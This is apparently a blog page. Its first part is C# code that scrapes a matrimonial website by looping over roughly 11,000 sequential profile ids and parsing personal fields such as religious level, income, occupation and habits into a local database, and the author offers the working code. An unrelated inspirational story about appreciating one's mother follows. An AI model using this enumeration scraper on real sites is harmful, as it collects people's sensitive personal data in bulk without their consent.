width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">Preferred \r\n                                    Setup </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length));
 
 
                //Next ReligiousLevel
                string NextPart21 = NextPart20.Substring(NextPart20.IndexOf("<td width=\"51%\" class=\"blocktext\">Religious \r\n                                    Level </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.ReligiousLevel = NextPart21.Substring(NextPart21.IndexOf("<td width=\"51%\" class=\"blocktext\">Religious \r\n                                    Level </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Religious \r\n                                    Level </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart21.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart21.IndexOf("<td width=\"51%\" class=\"blocktext\">Religious \r\n                                    Level </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Religious \r\n                                    Level </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length));
 
 
                //Next FirstChoiceofFood
                string NextPart22 = NextPart21.Substring(NextPart21.IndexOf("<td width=\"51%\" class=\"blocktext\">First choice \r\n                                    of Food</td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.FirstChoiceofFood = NextPart22.Substring(NextPart22.IndexOf("<td width=\"51%\" class=\"blocktext\">First choice \r\n                                    of Food</td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">First choice \r\n                                    of Food</td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart22.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart22.IndexOf("<td width=\"51%\" class=\"blocktext\">First choice \r\n                                    of Food</td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">First choice \r\n                                    of Food</td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length));
 
 
                //Next TVProgram
                string NextPart23 = NextPart22.Substring(NextPart22.IndexOf("<td width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">TV \r\n                                    program </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.TVProgram = NextPart23.Substring(NextPart23.IndexOf("<td width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">TV \r\n                                    program </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">TV \r\n                                    program </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart23.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart23.IndexOf("<td width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">TV \r\n                                    program </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">TV \r\n                                    program </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length));
 
                //Next PreferredHoneymoonPlace
                string NextPart24 = NextPart23.Substring(NextPart23.IndexOf("<td width=\"51%\" class=\"blocktext\">Preferred \r\n                                    Honeymoon Place </td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.PreferredHoneymoonPlace = NextPart24.Substring(NextPart24.IndexOf("<td width=\"51%\" class=\"blocktext\">Preferred \r\n                                    Honeymoon Place </td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Preferred \r\n                                    Honeymoon Place </td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart24.IndexOf("</td>\r\n                                </tr>\r\n                              ") - (NextPart24.IndexOf("<td width=\"51%\" class=\"blocktext\">Preferred \r\n                                    Honeymoon Place </td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Preferred \r\n                                    Honeymoon Place </td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length));
 
                ///Career
                ///Education
                string NextPart25 = NextPart24.Substring(NextPart24.IndexOf("<td width=\"51%\" class=\"blocktext\">Education</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.Education = NextPart25.Substring(NextPart25.IndexOf("<td width=\"51%\" class=\"blocktext\">Education</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Education</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart25.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart25.IndexOf("<td width=\"51%\" class=\"blocktext\">Education</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Education</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length));
                pro.Education = pro.Education.Trim();
 
                ///Occupation
                string NextPart26 = NextPart25.Substring(NextPart25.IndexOf("<td width=\"51%\" class=\"blocktext\">Occupation</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.Occupation = NextPart26.Substring(NextPart26.IndexOf("<td width=\"51%\" class=\"blocktext\">Occupation</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Occupation</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart26.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart26.IndexOf("<td width=\"51%\" class=\"blocktext\">Occupation</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Occupation</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length));
                pro.Occupation = pro.Occupation.Trim();
 
                ///MonthlyIncome
                string NextPart27 = NextPart26.Substring(NextPart26.IndexOf("<td width=\"51%\" class=\"blocktext\">Monthly Income</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.MonthlyIncome = NextPart27.Substring(NextPart27.IndexOf("<td width=\"51%\" class=\"blocktext\">Monthly Income</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Monthly Income</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart27.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart27.IndexOf("<td width=\"51%\" class=\"blocktext\">Monthly Income</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Monthly Income</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length));
                pro.MonthlyIncome = pro.MonthlyIncome.Trim();
 
                ///EducationDetails
                string NextPart28 = NextPart27.Substring(NextPart27.IndexOf("<tr bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"51%\" class=\"blocktext\">Education \r\n                                    Details</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.EducationDetails = NextPart28.Substring(NextPart28.IndexOf("<tr bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"51%\" class=\"blocktext\">Education \r\n                                    Details</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<tr bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"51%\" class=\"blocktext\">Education \r\n                                    Details</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart28.IndexOf("</td>\r\n                                </tr>\r\n                              ") - (NextPart28.IndexOf("<tr bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"51%\" class=\"blocktext\">Education \r\n                                    Details</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<tr bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"51%\" class=\"blocktext\">Education \r\n                                    Details</td>\r\n                                  <td width=\"5%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length));
                pro.EducationDetails = pro.EducationDetails.Trim();
 
                ///MoreAboutMe
                string NextPart29 = NextPart28.Substring(NextPart28.IndexOf("<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"22%\" class=\"blocktext\">More about \r\n                                    me</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">"));
                pro.MoreAboutMe = NextPart29.Substring(NextPart29.IndexOf("<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"22%\" class=\"blocktext\">More about \r\n                                    me</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">") + "<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"22%\" class=\"blocktext\">More about \r\n                                    me</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">".Length, NextPart29.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart29.IndexOf("<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"22%\" class=\"blocktext\">More about \r\n                                    me</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">") + "<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"22%\" class=\"blocktext\">More about \r\n                                    me</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">".Length));
 
                ///Occupation
                string NextPart30 = NextPart29.Substring(NextPart29.IndexOf("<td width=\"22%\" class=\"blocktext\">My habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">"));
                pro.MyHabits = NextPart30.Substring(NextPart30.IndexOf("<td width=\"22%\" class=\"blocktext\">My habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">") + "<td width=\"22%\" class=\"blocktext\">My habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">".Length, NextPart30.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart30.IndexOf("<td width=\"22%\" class=\"blocktext\">My habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">") + "<td width=\"22%\" class=\"blocktext\">My habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\">".Length));
 
                ///MyBadHabits
                string NextPart31 = NextPart30.Substring(NextPart30.IndexOf("<td width=\"22%\" class=\"blocktext\" height=\"2\">My \r\n                                    bad habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\" height=\"2\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\" height=\"2\">"));
                pro.MyBadHabits = NextPart31.Substring(NextPart31.IndexOf("<td width=\"22%\" class=\"blocktext\" height=\"2\">My \r\n                                    bad habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\" height=\"2\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\" height=\"2\">") + "<td width=\"22%\" class=\"blocktext\" height=\"2\">My \r\n                                    bad habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\" height=\"2\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\" height=\"2\">".Length, NextPart31.IndexOf("</td>\r\n                                </tr>\r\n                              ") - (NextPart31.IndexOf("<td width=\"22%\" class=\"blocktext\" height=\"2\">My \r\n                                    bad habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\" height=\"2\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\" height=\"2\">") + "<td width=\"22%\" class=\"blocktext\" height=\"2\">My \r\n                                    bad habits</td>\r\n                                  <td width=\"2%\" class=\"blocktext\" height=\"2\">:</td>\r\n                                  <td width=\"76%\" class=\"blocktext\" height=\"2\">".Length));
 
 
                dbx.Profiles.InsertOnSubmit(pro);
                dbx.SubmitChanges();
          }
            catch (Exception e)
            { }
        }

Above code has 2 functions, one function named as DownloadWebPage. It takes url of a web page as input and return the content of page as string.
Second method named as ProcessWebPage which takes input: content of profile web page as string and the profile id; used by Geo team as primary identifier for profile. This function split the content of profile page and insert in the table created above via linq.

Finally following code, loop through the profiles and extract data using abovr 2 methods.

  for (int i = 288781; i < 300000; i++)
            {
   ProcessWebPage(DownloadWebPage("http://shaadionline.tv/details.asp?id="+i),i);
            }

So we are done. A small utility for extracting data from http://www.shaadionline.tv web site is ready.
Basic benefit of this activity is that we have all the profile in local database and we can search in all fields with all possible combinations.
If you need working code contact me.


Learn how to appreciate…..!!

December 10, 2010

One young academically excellent person went to apply for a managerial position in a big company. He passed the first interview; the director did the last interview, made the last decision.

The director discovered from the CV, that the youth’s academic result is excellent all the way, from the secondary school until the postgraduate research, never was a year he did not score.

The director asked, “Did you obtain any scholarship in school?” and the youth answered “none”.

The director asked, “Is it your father who paid for your school fees?” the youth answered, my father passed away when I was one year old, it is my mother who paid for my school fees.

The director asked, “Where did your mother work?” the youth answered, my mother worked as a cloth cleaner.

The director requested the youth to show his hand, the youth showed a pair of hand that were smooth and perfect to the director. The director asked, “Did you ever help your mother wash the clothes before?”
The youth answered, never, my mother always wanted me to study and read more books, furthermore, my mother can wash clothes faster than me.
The director said, I have a request, when you go back today, go and help to
clean your mother’s hand, and then see me tomorrow morning.

The youth felt that as the chance of landing the job is high, when he went back, he happily wanted to clean his mother’s hand, his mother felt strange, happy but mixed with fear, she showed her hands to the kid.

The youth cleaned his mother’s hand slowly, his tears dropped down as he did that. It is the first time he found his mother’s hands so wrinkled, and there are so many bruises in her hand. Some bruises incite pains so strong that shiver his mother’s body when cleaned with water.

This is the first time the youth realized and experienced that it is this pair of hand that washed the cloth everyday to earn him the school fees, the bruises in the mother’s hand is the price that the mother paid for his graduation and academic excellence and probably his future.

After finishing the cleaning of his mother hand, the youth quietly cleaned all remaining clothes for his mother. That night, mother and son talked for a very long time.

Next morning, the youth went to the director’s office. The director noticed the tear in the youth’s eye, asked: “Can you tell what have you done and learned yesterday in your house?”
The youth answered, “I cleaned my mother’s hand, and also finished cleaning all the remaining clothes’
The director asked, “please tell me your feeling.”
The youth said :
Number 1, I knew what is appreciation, without my mother, there would not the successful me today.
Number 2, I knew how to work together with my mother, then only I can realize how difficult and tough to get something done.
Number 3, I knew the importance and value of family relationship.

The director said, ” This is what I am asking, I want to recruit a person that can appreciate the help of other, a person that knew the suffering of others to get thing done, and a person that would not put money as his only goal in life to be my manager. You are hired.

Later on, this young person worked very hard, and received the respect of his subordinates, every employees worked diligently and in a team, the company’s result improved tremendously.

A child who had been protected and habitually given whatever he did, he developed “entitlement mentality” and always put himself first. He is ignorant of his parent’s effort. When he started work, he assumed every people must listen to him, and when he became a manager, he would never know how suffering his employee and always blame others. For this kind of people, he can have good result, may be successful for a while, but eventually would not feel sense of achievement, he will grumble and full of hatred and fight for more. If we are this kind of protective parent, did we love the kid or destroy the kid?

You can let your kid live in a big house, eat a good meal, learn piano, watch a big screen TV. But when you are cutting grass, please let them experience it. After a meal, let them wash their plate and bowl together with their brothers and sisters. It is not because you do not have money to hire a maid, but it is because you want to love them in a right way. You want them to understand, no matter how rich their parents are, one day their hair will grow grey, same as the mother of that young person.

The most important thing is your kid learn how to appreciate
Source:Google